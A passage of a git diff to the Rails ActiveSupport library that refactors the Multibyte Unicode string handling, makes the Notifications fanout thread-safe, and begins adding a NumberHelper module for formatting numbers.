-        #   # => "¾ cup   "
-        #
-        #   "¾ cup".mb_chars.rjust(8, " ").to_s # Use non-breaking whitespace
-        #   # => "¾ cup   "
-        def ljust(integer, padstr=' ')
-          justify(integer, :left, padstr)
-        end
-
-        # Works just like <tt>String#center</tt>, only integer specifies characters instead of bytes.
-        #
-        # Example:
-        #
-        #   "¾ cup".mb_chars.center(8).to_s
-        #   # => " ¾ cup  "
-        #
-        #   "¾ cup".mb_chars.center(8, " ").to_s # Use non-breaking whitespace
-        #   # => " ¾ cup  "
-        def center(integer, padstr=' ')
-          justify(integer, :center, padstr)
-        end
-
-      else
-        def =~(other)
-          @wrapped_string =~ other
-        end
+        string.encoding == Encoding::UTF_8
       end
 
       # Works just like <tt>String#split</tt>, with the exception that the items in the resulting list are Chars
       # instances instead of String. This makes chaining methods easier.
       #
-      # Example:
       #   'Café périferôl'.mb_chars.split(/é/).map { |part| part.upcase.to_s } # => ["CAF", " P", "RIFERÔL"]
       def split(*args)
-        @wrapped_string.split(*args).map { |i| i.mb_chars }
+        @wrapped_string.split(*args).map { |i| self.class.new(i) }
       end
 
-      # Like <tt>String#[]=</tt>, except instead of byte offsets you specify character offsets.
-      #
-      # Example:
-      #
-      #   s = "Müller"
-      #   s.mb_chars[2] = "e" # Replace character with offset 2
-      #   s
-      #   # => "Müeler"
-      #
-      #   s = "Müller"
-      #   s.mb_chars[1, 2] = "ö" # Replace 2 characters at character offset 1
-      #   s
-      #   # => "Möler"
-      def []=(*args)
-        replace_by = args.pop
-        # Indexed replace with regular expressions already works
-        if args.first.is_a?(Regexp)
-          @wrapped_string[*args] = replace_by
-        else
-          result = Unicode.u_unpack(@wrapped_string)
-          case args.first
-          when Fixnum
-            raise IndexError, "index #{args[0]} out of string" if args[0] >= result.length
-            min = args[0]
-            max = args[1].nil? ? min : (min + args[1] - 1)
-            range = Range.new(min, max)
-            replace_by = [replace_by].pack('U') if replace_by.is_a?(Fixnum)
-          when Range
-            raise RangeError, "#{args[0]} out of range" if args[0].min >= result.length
-            range = args[0]
-          else
-            needle = args[0].to_s
-            min = index(needle)
-            max = min + Unicode.u_unpack(needle).length - 1
-            range = Range.new(min, max)
-          end
-          result[range] = Unicode.u_unpack(replace_by)
-          @wrapped_string.replace(result.pack('U*'))
-        end
+      # Works like like <tt>String#slice!</tt>, but returns an instance of Chars, or nil if the string was not
+      # modified.
+      def slice!(*args)
+        chars(@wrapped_string.slice!(*args))
       end
 
       # Reverses all characters in the string.
       #
-      # Example:
       #   'Café'.mb_chars.reverse.to_s # => 'éfaC'
       def reverse
-        chars(Unicode.g_unpack(@wrapped_string).reverse.flatten.pack('U*'))
+        chars(Unicode.unpack_graphemes(@wrapped_string).reverse.flatten.pack('U*'))
       end
 
-      # Implements Unicode-aware slice with codepoints. Slicing on one point returns the codepoints for that
-      # character.
-      #
-      # Example:
-      #   'こんにちは'.mb_chars.slice(2..3).to_s # => "にち"
-      def slice(*args)
-        if args.size > 2
-          raise ArgumentError, "wrong number of arguments (#{args.size} for 1)" # Do as if we were native
-        elsif (args.size == 2 && !(args.first.is_a?(Numeric) || args.first.is_a?(Regexp)))
-          raise TypeError, "cannot convert #{args.first.class} into Integer" # Do as if we were native
-        elsif (args.size == 2 && !args[1].is_a?(Numeric))
-          raise TypeError, "cannot convert #{args[1].class} into Integer" # Do as if we were native
-        elsif args[0].kind_of? Range
-          cps = Unicode.u_unpack(@wrapped_string).slice(*args)
-          result = cps.nil? ? nil : cps.pack('U*')
-        elsif args[0].kind_of? Regexp
-          result = @wrapped_string.slice(*args)
-        elsif args.size == 1 && args[0].kind_of?(Numeric)
-          character = Unicode.u_unpack(@wrapped_string)[args[0]]
-          result = character && [character].pack('U')
-        else
-          cps = Unicode.u_unpack(@wrapped_string).slice(*args)
-          result = cps && cps.pack('U*')
-        end
-        result && chars(result)
-      end
-      alias_method :[], :slice
-
-      # Limit the byte size of the string to a number of bytes without breaking characters. Usable
+      # Limits the byte size of the string to a number of bytes without breaking characters. Usable
       # when the storage for a string is limited for some reason.
       #
-      # Example:
       #   'こんにちは'.mb_chars.limit(7).to_s # => "こん"
       def limit(limit)
         slice(0...translate_offset(limit))
       end
 
-      # Convert characters in the string to uppercase.
+      # Converts characters in the string to uppercase.
       #
-      # Example:
       #   'Laurent, où sont les tests ?'.mb_chars.upcase.to_s # => "LAURENT, OÙ SONT LES TESTS ?"
       def upcase
-        chars(Unicode.apply_mapping @wrapped_string, :uppercase_mapping)
+        chars Unicode.upcase(@wrapped_string)
       end
 
-      # Convert characters in the string to lowercase.
+      # Converts characters in the string to lowercase.
       #
-      # Example:
       #   'VĚDA A VÝZKUM'.mb_chars.downcase.to_s # => "věda a výzkum"
       def downcase
-        chars(Unicode.apply_mapping @wrapped_string, :lowercase_mapping)
+        chars Unicode.downcase(@wrapped_string)
+      end
+
+      # Converts characters in the string to the opposite case.
+      #
+      #    'El Cañón".mb_chars.swapcase.to_s # => "eL cAÑÓN"
+      def swapcase
+        chars Unicode.swapcase(@wrapped_string)
       end
 
       # Converts the first character to uppercase and the remainder to lowercase.
       #
-      # Example:
       #  'über'.mb_chars.capitalize.to_s # => "Über"
       def capitalize
         (slice(0) || chars('')).upcase + (slice(1..-1) || chars('')).downcase
@@ -362,11 +130,10 @@ module ActiveSupport #:nodoc:
 
       # Capitalizes the first letter of every word, when possible.
       #
-      # Example:
       #   "ÉL QUE SE ENTERÓ".mb_chars.titleize    # => "Él Que Se Enteró"
       #   "日本語".mb_chars.titleize                 # => "日本語"
       def titleize
-        chars(downcase.to_s.gsub(/\b('?[\S])/u) { Unicode.apply_mapping $1, :uppercase_mapping })
+        chars(downcase.to_s.gsub(/\b('?\S)/u) { Unicode.upcase($1)})
       end
       alias_method :titlecase, :titleize
 
@@ -382,29 +149,26 @@ module ActiveSupport #:nodoc:
 
       # Performs canonical decomposition on all the characters.
       #
-      # Example:
       #   'é'.length                         # => 2
       #   'é'.mb_chars.decompose.to_s.length # => 3
       def decompose
-        chars(Unicode.decompose_codepoints(:canonical, Unicode.u_unpack(@wrapped_string)).pack('U*'))
+        chars(Unicode.decompose(:canonical, @wrapped_string.codepoints.to_a).pack('U*'))
       end
 
       # Performs composition on all the characters.
       #
-      # Example:
       #   'é'.length                       # => 3
       #   'é'.mb_chars.compose.to_s.length # => 2
       def compose
-        chars(Unicode.compose_codepoints(Unicode.u_unpack(@wrapped_string)).pack('U*'))
+        chars(Unicode.compose(@wrapped_string.codepoints.to_a).pack('U*'))
       end
 
       # Returns the number of grapheme clusters in the string.
       #
-      # Example:
       #   'क्षि'.mb_chars.length   # => 4
-      #   'क्षि'.mb_chars.g_length # => 3
-      def g_length
-        Unicode.g_unpack(@wrapped_string).length
+      #   'क्षि'.mb_chars.grapheme_length # => 3
+      def grapheme_length
+        Unicode.unpack_graphemes(@wrapped_string).length
       end
 
       # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent resulting in a valid UTF-8 string.
@@ -414,14 +178,14 @@ module ActiveSupport #:nodoc:
         chars(Unicode.tidy_bytes(@wrapped_string, force))
       end
 
-       %w(capitalize downcase lstrip reverse rstrip slice strip tidy_bytes upcase).each do |method|
-        # Only define a corresponding bang method for methods defined in the proxy; On 1.9 the proxy will
-        # exclude lstrip!, rstrip! and strip! because they are already work as expected on multibyte strings.
-        if public_method_defined?(method)
-          define_method("#{method}!") do |*args|
-            @wrapped_string = send(args.nil? ? method : method, *args).to_s
-            self
-          end
+      def as_json(options = nil) #:nodoc:
+        to_s.as_json(options)
+      end
+
+      %w(capitalize downcase reverse tidy_bytes upcase).each do |method|
+        define_method("#{method}!") do |*args|
+          @wrapped_string = send(method, *args).to_s
+          self
         end
       end
 
@@ -431,43 +195,14 @@ module ActiveSupport #:nodoc:
           return nil if byte_offset.nil?
           return 0   if @wrapped_string == ''
 
-          if @wrapped_string.respond_to?(:force_encoding)
-            @wrapped_string = @wrapped_string.dup.force_encoding(Encoding::ASCII_8BIT)
-          end
-
           begin
-            @wrapped_string[0...byte_offset].unpack('U*').length
+            @wrapped_string.byteslice(0...byte_offset).unpack('U*').length
           rescue ArgumentError
             byte_offset -= 1
             retry
           end
         end
 
-        def justify(integer, way, padstr=' ') #:nodoc:
-          raise ArgumentError, "zero width padding" if padstr.length == 0
-          padsize = integer - size
-          padsize = padsize > 0 ? padsize : 0
-          case way
-          when :right
-            result = @wrapped_string.dup.insert(0, padding(padsize, padstr))
-          when :left
-            result = @wrapped_string.dup.insert(-1, padding(padsize, padstr))
-          when :center
-            lpad = padding((padsize / 2.0).floor, padstr)
-            rpad = padding((padsize / 2.0).ceil, padstr)
-            result = @wrapped_string.dup.insert(0, lpad).insert(-1, rpad)
-          end
-          chars(result)
-        end
-
-        def padding(padsize, padstr=' ') #:nodoc:
-          if padsize != 0
-            chars(padstr * ((padsize / Unicode.u_unpack(padstr).size) + 1)).slice(0, padsize)
-          else
-            ''
-          end
-        end
-
         def chars(string) #:nodoc:
           self.class.new(string)
         end
diff --git a/activesupport/lib/active_support/multibyte/exceptions.rb b/activesupport/lib/active_support/multibyte/exceptions.rb
deleted file mode 100644
index 62066e3c71..0000000000
--- a/activesupport/lib/active_support/multibyte/exceptions.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-# encoding: utf-8
-
-module ActiveSupport #:nodoc:
-  module Multibyte #:nodoc:
-    # Raised when a problem with the encoding was found.
-    class EncodingError < StandardError; end
-  end
-end
\ No newline at end of file
diff --git a/activesupport/lib/active_support/multibyte/unicode.rb b/activesupport/lib/active_support/multibyte/unicode.rb
index 754ca9290b..ef1711c60a 100644
--- a/activesupport/lib/active_support/multibyte/unicode.rb
+++ b/activesupport/lib/active_support/multibyte/unicode.rb
@@ -10,12 +10,11 @@ module ActiveSupport
       NORMALIZATION_FORMS = [:c, :kc, :d, :kd]
 
       # The Unicode version that is supported by the implementation
-      UNICODE_VERSION = '5.2.0'
+      UNICODE_VERSION = '6.1.0'
 
       # The default normalization used for operations that require normalization. It can be set to any of the
       # normalizations in NORMALIZATION_FORMS.
       #
-      # Example:
       #   ActiveSupport::Multibyte::Unicode.default_normalization_form = :c
       attr_accessor :default_normalization_form
       @default_normalization_form = :kc
@@ -61,19 +60,6 @@ module ActiveSupport
       TRAILERS_PAT = /(#{codepoints_to_pattern(LEADERS_AND_TRAILERS)})+\Z/u
       LEADERS_PAT = /\A(#{codepoints_to_pattern(LEADERS_AND_TRAILERS)})+/u
 
-      # Unpack the string at codepoints boundaries. Raises an EncodingError when the encoding of the string isn't
-      # valid UTF-8.
-      #
-      # Example:
-      #   Unicode.u_unpack('Café') # => [67, 97, 102, 233]
-      def u_unpack(string)
-        begin
-          string.unpack 'U*'
-        rescue ArgumentError
-          raise EncodingError, 'malformed UTF-8 character'
-        end
-      end
-
       # Detect whether the codepoint is in a certain character class. Returns +true+ when it's in the specified
       # character class and +false+ otherwise. Valid character classes are: <tt>:cr</tt>, <tt>:lf</tt>, <tt>:l</tt>,
       # <tt>:v</tt>, <tt>:lv</tt>, <tt>:lvt</tt> and <tt>:t</tt>.
@@ -85,11 +71,10 @@ module ActiveSupport
 
       # Unpack the string at grapheme boundaries. Returns a list of character lists.
       #
-      # Example:
-      #   Unicode.g_unpack('क्षि') # => [[2325, 2381], [2359], [2367]]
-      #   Unicode.g_unpack('Café') # => [[67], [97], [102], [233]]
-      def g_unpack(string)
-        codepoints = u_unpack(string)
+      #   Unicode.unpack_graphemes('क्षि') # => [[2325, 2381], [2359], [2367]]
+      #   Unicode.unpack_graphemes('Café') # => [[67], [97], [102], [233]]
+      def unpack_graphemes(string)
+        codepoints = string.codepoints.to_a
         unpacked = []
         pos = 0
         marker = 0
@@ -118,12 +103,11 @@ module ActiveSupport
         unpacked
       end
 
-      # Reverse operation of g_unpack.
+      # Reverse operation of unpack_graphemes.
       #
-      # Example:
-      #   Unicode.g_pack(Unicode.g_unpack('क्षि')) # => 'क्षि'
-      def g_pack(unpacked)
-        (unpacked.flatten).pack('U*')
+      #   Unicode.pack_graphemes(Unicode.unpack_graphemes('क्षि')) # => 'क्षि'
+      def pack_graphemes(unpacked)
+        unpacked.flatten.pack('U*')
       end
 
       # Re-order codepoints so the string becomes canonical.
@@ -143,7 +127,7 @@ module ActiveSupport
       end
 
       # Decompose composed characters to the decomposed form.
-      def decompose_codepoints(type, codepoints)
+      def decompose(type, codepoints)
         codepoints.inject([]) do |decomposed, cp|
           # if it's a hangul syllable starter character
           if HANGUL_SBASE <= cp and cp < HANGUL_SLAST
@@ -156,7 +140,7 @@ module ActiveSupport
             decomposed.concat ncp
           # if the codepoint is decomposable in with the current decomposition type
           elsif (ncp = database.codepoints[cp].decomp_mapping) and (!database.codepoints[cp].decomp_type || type == :compatability)
-            decomposed.concat decompose_codepoints(type, ncp.dup)
+            decomposed.concat decompose(type, ncp.dup)
           else
             decomposed << cp
           end
@@ -164,7 +148,7 @@ module ActiveSupport
       end
 
       # Compose decomposed characters to the composed form.
-      def compose_codepoints(codepoints)
+      def compose(codepoints)
         pos = 0
         eoa = codepoints.length - 1
         starter_pos = 0
@@ -283,35 +267,40 @@ module ActiveSupport
       def normalize(string, form=nil)
         form ||= @default_normalization_form
         # See http://www.unicode.org/reports/tr15, Table 1
-        codepoints = u_unpack(string)
+        codepoints = string.codepoints.to_a
         case form
           when :d
-            reorder_characters(decompose_codepoints(:canonical, codepoints))
+            reorder_characters(decompose(:canonical, codepoints))
           when :c
-            compose_codepoints(reorder_characters(decompose_codepoints(:canonical, codepoints)))
+            compose(reorder_characters(decompose(:canonical, codepoints)))
           when :kd
-            reorder_characters(decompose_codepoints(:compatability, codepoints))
+            reorder_characters(decompose(:compatability, codepoints))
           when :kc
-            compose_codepoints(reorder_characters(decompose_codepoints(:compatability, codepoints)))
+            compose(reorder_characters(decompose(:compatability, codepoints)))
           else
             raise ArgumentError, "#{form} is not a valid normalization variant", caller
         end.pack('U*')
       end
 
-      def apply_mapping(string, mapping) #:nodoc:
-        u_unpack(string).map do |codepoint|
-          cp = database.codepoints[codepoint]
-          if cp and (ncp = cp.send(mapping)) and ncp > 0
-            ncp
-          else
-            codepoint
-          end
-        end.pack('U*')
+      def downcase(string)
+        apply_mapping string, :lowercase_mapping
+      end
+
+      def upcase(string)
+        apply_mapping string, :uppercase_mapping
+      end
+
+      def swapcase(string)
+        apply_mapping string, :swapcase_mapping
       end
 
       # Holds data about a codepoint in the Unicode database
       class Codepoint
         attr_accessor :code, :combining_class, :decomp_type, :decomp_mapping, :uppercase_mapping, :lowercase_mapping
+
+        def swapcase_mapping
+          uppercase_mapping > 0 ? uppercase_mapping : lowercase_mapping
+        end
       end
 
       # Holds static data from the Unicode database
@@ -342,7 +331,7 @@ module ActiveSupport
         def load
           begin
             @codepoints, @composition_exclusion, @composition_map, @boundary, @cp1252 = File.open(self.class.filename, 'rb') { |f| Marshal.load f.read }
-          rescue Exception => e
+          rescue => e
               raise IOError.new("Couldn't load the Unicode tables for UTF8Handler (#{e.message}), ActiveSupport::Multibyte is unusable")
           end
 
@@ -374,6 +363,17 @@ module ActiveSupport
 
       private
 
+      def apply_mapping(string, mapping) #:nodoc:
+        string.each_codepoint.map do |codepoint|
+          cp = database.codepoints[codepoint]
+          if cp and (ncp = cp.send(mapping)) and ncp > 0
+            ncp
+          else
+            codepoint
+          end
+        end.pack('U*')
+      end
+
       def tidy_byte(byte)
         if byte < 160
           [database.cp1252[byte] || byte].pack("U").unpack("C*")
diff --git a/activesupport/lib/active_support/multibyte/utils.rb b/activesupport/lib/active_support/multibyte/utils.rb
deleted file mode 100644
index 94b393cee2..0000000000
--- a/activesupport/lib/active_support/multibyte/utils.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-# encoding: utf-8
-
-module ActiveSupport #:nodoc:
-  module Multibyte #:nodoc:
-    if Kernel.const_defined?(:Encoding)
-      # Returns a regular expression that matches valid characters in the current encoding
-      def self.valid_character
-        VALID_CHARACTER[Encoding.default_external.to_s]
-      end
-    else
-      def self.valid_character
-        case $KCODE
-        when 'UTF8'
-          VALID_CHARACTER['UTF-8']
-        when 'SJIS'
-          VALID_CHARACTER['Shift_JIS']
-        end
-      end
-    end
-
-    if 'string'.respond_to?(:valid_encoding?)
-      # Verifies the encoding of a string
-      def self.verify(string)
-        string.valid_encoding?
-      end
-    else
-      def self.verify(string)
-        if expression = valid_character
-          # Splits the string on character boundaries, which are determined based on $KCODE.
-          string.split(//).all? { |c| expression =~ c }
-        else
-          true
-        end
-      end
-    end
-
-    # Verifies the encoding of the string and raises an exception when it's not valid
-    def self.verify!(string)
-      raise EncodingError.new("Found characters with invalid encoding") unless verify(string)
-    end
-
-    if 'string'.respond_to?(:force_encoding)
-      # Removes all invalid characters from the string.
-      #
-      # Note: this method is a no-op in Ruby 1.9
-      def self.clean(string)
-        string
-      end
-    else
-      def self.clean(string)
-        if expression = valid_character
-          # Splits the string on character boundaries, which are determined based on $KCODE.
-          string.split(//).grep(expression).join
-        else
-          string
-        end
-      end
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/notifications.rb b/activesupport/lib/active_support/notifications.rb
index f549d2fff3..b4657a8ba9 100644
--- a/activesupport/lib/active_support/notifications.rb
+++ b/activesupport/lib/active_support/notifications.rb
@@ -1,7 +1,10 @@
+require 'active_support/notifications/instrumenter'
+require 'active_support/notifications/fanout'
+
 module ActiveSupport
   # = Notifications
   #
-  # +ActiveSupport::Notifications+ provides an instrumentation API for Ruby.
+  # <tt>ActiveSupport::Notifications</tt> provides an instrumentation API for Ruby.
   #
   # == Instrumenters
   #
@@ -30,7 +33,7 @@ module ActiveSupport
   #   end
   #
   # That code returns right away, you are just subscribing to "render" events.
-  # The block will be called asynchronously whenever someone instruments "render":
+  # The block is saved and will be called whenever someone instruments "render":
   #
   #   ActiveSupport::Notifications.instrument("render", :extra => :information) do
   #     render :text => "Foo"
@@ -41,26 +44,53 @@ module ActiveSupport
   #   event.duration  # => 10 (in milliseconds)
   #   event.payload   # => { :extra => :information }
   #
-  # The block in the +subscribe+ call gets the name of the event, start
+  # The block in the <tt>subscribe</tt> call gets the name of the event, start
   # timestamp, end timestamp, a string with a unique identifier for that event
   # (something like "535801666f04d0298cd6"), and a hash with the payload, in
   # that order.
   #
   # If an exception happens during that particular instrumentation the payload will
-  # have a key +:exception+ with an array of two elements as value: a string with
+  # have a key <tt>:exception</tt> with an array of two elements as value: a string with
   # the name of the exception class, and the exception message.
   #
-  # As the previous example depicts, the class +ActiveSupport::Notifications::Event+
+  # As the previous example depicts, the class <tt>ActiveSupport::Notifications::Event</tt>
   # is able to take the arguments as they come and provide an object-oriented
   # interface to that data.
   #
+  # It is also possible to pass an object as the second parameter passed to the
+  # <tt>subscribe</tt> method instead of a block:
+  #
+  #   module ActionController
+  #     class PageRequest
+  #       def call(name, started, finished, unique_id, payload)
+  #         Rails.logger.debug ["notification:", name, started, finished, unique_id, payload].join(" ")
+  #       end
+  #     end
+  #   end
+  #
+  #   ActiveSupport::Notifications.subscribe('process_action.action_controller', ActionController::PageRequest.new)
+  #
+  # resulting in the following output within the logs including a hash with the payload:
+  #
+  #   notification: process_action.action_controller 2012-04-13 01:08:35 +0300 2012-04-13 01:08:35 +0300 af358ed7fab884532ec7 {
+  #      :controller=>"Devise::SessionsController",
+  #      :action=>"new",
+  #      :params=>{"action"=>"new", "controller"=>"devise/sessions"},
+  #      :format=>:html,
+  #      :method=>"GET",
+  #      :path=>"/login/sign_in",
+  #      :status=>200,
+  #      :view_runtime=>279.3080806732178,
+  #      :db_runtime=>40.053
+  #    }
+  #
   # You can also subscribe to all events whose name matches a certain regexp:
   #
   #   ActiveSupport::Notifications.subscribe(/render/) do |*args|
   #     ...
   #   end
   #
-  # and even pass no argument to +subscribe+, in which case you are subscribing
+  # and even pass no argument to <tt>subscribe</tt>, in which case you are subscribing
   # to all events.
   #
   # == Temporary Subscriptions
@@ -68,6 +98,10 @@ module ActiveSupport
   # Sometimes you do not want to subscribe to an event for the entire life of
   # the application. There are two ways to unsubscribe.
   #
+  # WARNING: The instrumentation framework is designed for long-running subscribers,
+  # use this feature sparingly because it wipes some internal caches and that has
+  # a negative impact on performance.
+  #
   # === Subscribe While a Block Runs
   #
   # You can subscribe to some event temporarily while some block runs. For
@@ -101,12 +135,6 @@ module ActiveSupport
   # to log subscribers in a thread. You can use any queue implementation you want.
   #
   module Notifications
-    autoload :Instrumenter, 'active_support/notifications/instrumenter'
-    autoload :Event, 'active_support/notifications/instrumenter'
-    autoload :Fanout, 'active_support/notifications/fanout'
-
-    @instrumenters = Hash.new { |h,k| h[k] = notifier.listening?(k) }
-
     class << self
       attr_accessor :notifier
 
@@ -115,7 +143,7 @@ module ActiveSupport
       end
 
       def instrument(name, payload = {})
-        if @instrumenters[name]
+        if notifier.listening?(name)
           instrumenter.instrument(name, payload) { yield payload if block_given? }
         else
           yield payload if block_given?
@@ -123,9 +151,7 @@ module ActiveSupport
       end
 
       def subscribe(*args, &block)
-        notifier.subscribe(*args, &block).tap do
-          @instrumenters.clear
-        end
+        notifier.subscribe(*args, &block)
       end
 
       def subscribed(callback, *args, &block)
@@ -137,7 +163,6 @@ module ActiveSupport
 
       def unsubscribe(args)
         notifier.unsubscribe(args)
-        @instrumenters.clear
       end
 
       def instrumenter
diff --git a/activesupport/lib/active_support/notifications/fanout.rb b/activesupport/lib/active_support/notifications/fanout.rb
index a9aa5464e9..2e5bcf4639 100644
--- a/activesupport/lib/active_support/notifications/fanout.rb
+++ b/activesupport/lib/active_support/notifications/fanout.rb
@@ -1,24 +1,42 @@
+require 'mutex_m'
+
 module ActiveSupport
   module Notifications
     # This is a default queue implementation that ships with Notifications.
     # It just pushes events to all registered log subscribers.
+    #
+    # This class is thread safe. All methods are reentrant.
     class Fanout
+      include Mutex_m
+
       def initialize
         @subscribers = []
         @listeners_for = {}
+        super
       end
 
       def subscribe(pattern = nil, block = Proc.new)
-        subscriber = Subscriber.new(pattern, block).tap do |s|
-          @subscribers << s
+        subscriber = Subscribers.new pattern, block
+        synchronize do
+          @subscribers << subscriber
+          @listeners_for.clear
         end
-        @listeners_for.clear
         subscriber
       end
 
       def unsubscribe(subscriber)
-        @subscribers.reject! {|s| s.matches?(subscriber)}
-        @listeners_for.clear
+        synchronize do
+          @subscribers.reject! { |s| s.matches?(subscriber) }
+          @listeners_for.clear
+        end
+      end
+
+      def start(name, id, payload)
+        listeners_for(name).each { |s| s.start(name, id, payload) }
+      end
+
+      def finish(name, id, payload)
+        listeners_for(name).each { |s| s.finish(name, id, payload) }
       end
 
       def publish(name, *args)
@@ -26,7 +44,9 @@ module ActiveSupport
       end
 
       def listeners_for(name)
-        @listeners_for[name] ||= @subscribers.select { |s| s.subscribed_to?(name) }
+        synchronize do
+          @listeners_for[name] ||= @subscribers.select { |s| s.subscribed_to?(name) }
+        end
       end
 
       def listening?(name)
@@ -37,23 +57,87 @@ module ActiveSupport
       def wait
       end
 
-      class Subscriber #:nodoc:
-        def initialize(pattern, delegate)
-          @pattern = pattern
-          @delegate = delegate
+      module Subscribers # :nodoc:
+        def self.new(pattern, listener)
+          if listener.respond_to?(:start) and listener.respond_to?(:finish)
+            subscriber = Evented.new pattern, listener
+          else
+            subscriber = Timed.new pattern, listener
+          end
+
+          unless pattern
+            AllMessages.new(subscriber)
+          else
+            subscriber
+          end
         end
 
-        def publish(message, *args)
-          @delegate.call(message, *args)
+        class Evented #:nodoc:
+          def initialize(pattern, delegate)
+            @pattern = pattern
+            @delegate = delegate
+          end
+
+          def start(name, id, payload)
+            @delegate.start name, id, payload
+          end
+
+          def finish(name, id, payload)
+            @delegate.finish name, id, payload
+          end
+
+          def subscribed_to?(name)
+            @pattern === name.to_s
+          end
+
+          def matches?(subscriber_or_name)
+            self === subscriber_or_name ||
+              @pattern && @pattern === subscriber_or_name
+          end
         end
 
-        def subscribed_to?(name)
-          !@pattern || @pattern === name.to_s
+        class Timed < Evented
+          def initialize(pattern, delegate)
+            @timestack = []
+            super
+          end
+
+          def publish(name, *args)
+            @delegate.call name, *args
+          end
+
+          def start(name, id, payload)
+            @timestack.push Time.now
+          end
+
+          def finish(name, id, payload)
+            started = @timestack.pop
+            @delegate.call(name, started, Time.now, id, payload)
+          end
         end
 
-        def matches?(subscriber_or_name)
-          self === subscriber_or_name ||
-            @pattern && @pattern === subscriber_or_name
+        class AllMessages # :nodoc:
+          def initialize(delegate)
+            @delegate = delegate
+          end
+
+          def start(name, id, payload)
+            @delegate.start name, id, payload
+          end
+
+          def finish(name, id, payload)
+            @delegate.finish name, id, payload
+          end
+
+          def publish(name, *args)
+            @delegate.publish name, *args
+          end
+
+          def subscribed_to?(name)
+            true
+          end
+
+          alias :matches? :===
         end
       end
     end
diff --git a/activesupport/lib/active_support/notifications/instrumenter.rb b/activesupport/lib/active_support/notifications/instrumenter.rb
index 3941c285a2..78d0397f1f 100644
--- a/activesupport/lib/active_support/notifications/instrumenter.rb
+++ b/activesupport/lib/active_support/notifications/instrumenter.rb
@@ -1,7 +1,8 @@
-require 'active_support/core_ext/module/delegation'
+require 'securerandom'
 
 module ActiveSupport
   module Notifications
+    # Instrumentors are stored in a thread local.
     class Instrumenter
       attr_reader :id
 
@@ -14,15 +15,14 @@ module ActiveSupport
       # and publish it. Notice that events get sent even if an error occurs
       # in the passed-in block
       def instrument(name, payload={})
-        started = Time.now
-
+        @notifier.start(name, @id, payload)
         begin
           yield
         rescue Exception => e
           payload[:exception] = [e.class.name, e.message]
           raise e
         ensure
-          @notifier.publish(name, started, Time.now, @id, payload)
+          @notifier.finish(name, @id, payload)
         end
       end
 
@@ -33,7 +33,8 @@ module ActiveSupport
     end
 
     class Event
-      attr_reader :name, :time, :end, :transaction_id, :payload, :duration
+      attr_reader :name, :time, :transaction_id, :payload, :children
+      attr_accessor :end
 
       def initialize(name, start, ending, transaction_id, payload)
         @name           = name
@@ -41,12 +42,19 @@ module ActiveSupport
         @time           = start
         @transaction_id = transaction_id
         @end            = ending
-        @duration       = 1000.0 * (@end - @time)
+        @children       = []
+      end
+
+      def duration
+        1000.0 * (self.end - time)
+      end
+
+      def <<(event)
+        @children << event
       end
 
       def parent_of?(event)
-        start = (time - event.time) * 1000
-        start <= 0 && (start + duration >= event.duration)
+        @children.include? event
       end
     end
   end
diff --git a/activesupport/lib/active_support/number_helper.rb b/activesupport/lib/active_support/number_helper.rb
new file mode 100644
index 0000000000..3849f94a31
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper.rb
@@ -0,0 +1,636 @@
+require 'active_support/core_ext/big_decimal/conversions'
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/i18n'
+
+module ActiveSupport
+  module NumberHelper
+    extend self
+
+    DEFAULTS = {
+      # Used in number_to_delimited
+      # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
+      format: {
+        # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
+        separator: ".",
+        # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
+        delimiter: ",",
+        # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
+        precision: 3,
+        # If set to true, precision will mean the number of significant digits instead
+        # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
+        significant: false,
+        # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+        strip_insignificant_zeros: false
+      },
+
+      # Used in number_to_currency
+      currency: {
+        format: {
+          format: "%u%n",
+          negative_format: "-%u%n",
+          unit: "$",
+          # These five are to override number.format and are optional
+          separator: ".",
+          delimiter: ",",
+          precision: 2,
+          significant: false,
+          strip_insignificant_zeros: false
+        }
+      },
+
+      # Used in number_to_percentage
+      percentage: {
+        format: {
+          delimiter: "",
+          format: "%n%"
+        }
+      },
+
+      # Used in number_to_rounded
+      precision: {
+        format: {
+          delimiter: ""
+        }
+      },
+
+      # Used in number_to_human_size and number_to_human
+      human: {
+        format: {
+          # These five are to override number.format and are optional
+          delimiter: "",
+          precision: 3,
+          significant: true,
+          strip_insignificant_zeros: true
+        },
+        # Used in number_to_human_size
+        storage_units: {
+          # Storage units output formatting.
+          # %u is the storage unit, %n is the number (default: 2 MB)
+          format: "%n %u",
+          units: {
+            byte: "Bytes",
+            kb: "KB",
+            mb: "MB",
+            gb: "GB",
+            tb: "TB"
+          }
+        },
+        # Used in number_to_human
+        decimal_units: {
+          format: "%n %u",
+          # Decimal units output formatting
+          # By default we will only quantify some of the exponents
+          # but the commented ones might be defined or overridden
+          # by the user.
+          units: {
+            # femto: Quadrillionth
+            # pico: Trillionth
+            # nano: Billionth
+            # micro: Millionth
+            # mili: Thousandth
+            # centi: Hundredth
+            # deci: Tenth
+            unit: "",
+            # ten:
+            #   one: Ten
+            #   other: Tens
+            # hundred: Hundred
+            thousand: "Thousand",
+            million: "Million",
+            billion: "Billion",
+            trillion: "Trillion",
+            quadrillion: "Quadrillion"
+          }
+        }
+      }
+    }
+
+    DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
+      -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
+
+    STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+
+    # Formats a +number+ into a US phone number (e.g., (555)
+    # 123-9876). You can customize the format in the +options+ hash.
+    #
+    # ==== Options
+    #
+    # * <tt>:area_code</tt> - Adds parentheses around the area code.
+    # * <tt>:delimiter</tt> - Specifies the delimiter to use
+    #   (defaults to "-").
+    # * <tt>:extension</tt> - Specifies an extension to add to the
+    #   end of the generated number.
+    # * <tt>:country_code</tt> - Sets the country code for the phone
+    #   number.
